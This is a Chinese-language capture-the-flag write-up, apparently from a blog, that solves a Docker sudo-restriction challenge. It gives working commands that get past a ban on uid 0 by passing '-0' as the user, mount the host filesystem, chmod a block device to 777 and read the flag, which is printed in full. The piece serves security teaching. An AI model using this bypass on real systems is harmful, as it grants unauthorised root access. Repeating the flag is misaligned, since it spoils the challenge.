Docker for Everyone Plus——Unbreakable!

修改一下telnet的端口配置,访问第二小问,sudo -l命令允许提权执行的命令:

发现多了这两个限制--security-opt=no-new-privileges,表明docker run命令必须带上--security-opt=no-new-privileges参数,这可以防止通过suid机制获取root权限,同时禁止了--device参数,无法从容器内读取flag


老样子,rz传输tar.gz文件并解压载入tar镜像:

rz

gunzip dockerfile.tar.gz

sudo docker image load < dockerfile.tar


了解到一个方法:

uid是整数型,整数的+0和-0就是一个东西,不让指定uid为0,那就指定为-0来绕过

sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --user -0:0 -v /:/host -it dockerfile

cat /host/dev/vdb

成功获取到root shell,但在容器内,依旧不能读设备块


修改一下文件权限即可,再exit退出容器,cat /dev/vdb就可以成功获取flag了:

chmod 777 /host/dev/vdb

cat /dev/vdb

flag{contA1N3R_R0ot_i5_4cCESsIb1e_c692a7d2c6}

相关推荐
渡难繁辰11 分钟前
Docker常用命令速查手册:容器运维七维指南
docker·容器
G_H_S_3_43 分钟前
【网络运维】Linux:软件包管理
linux·运维·网络
Ruimin05191 小时前
企业级web应用服务器TOMCAT
linux·运维·tomcat·memcached
Lovyk1 小时前
Cockpit管理服务器
linux·运维·服务器
Borny鼎鼎1 小时前
gaussdb demo示例
docker·gaussdb
失因2 小时前
Linux 进程管理与计划任务设置
linux·运维·服务器·网络
❀͜͡傀儡师2 小时前
修改CentOS的SSH登录端口(22端口)
linux·centos·ssh
狙个栗子3 小时前
Centos 7.9安装部署cobbler-自动化部署服务器完整教程
linux·运维·服务器·centos·自动化
野原鑫之祝3 小时前
嵌入式开发学习———Linux环境下数据结构学习(五)
linux·c语言·数据结构·学习·vim·排序算法·嵌入式
ajassi20003 小时前
开源 Arkts 鸿蒙应用 开发(十三)音频--MP3播放
linux·华为·开源·harmonyos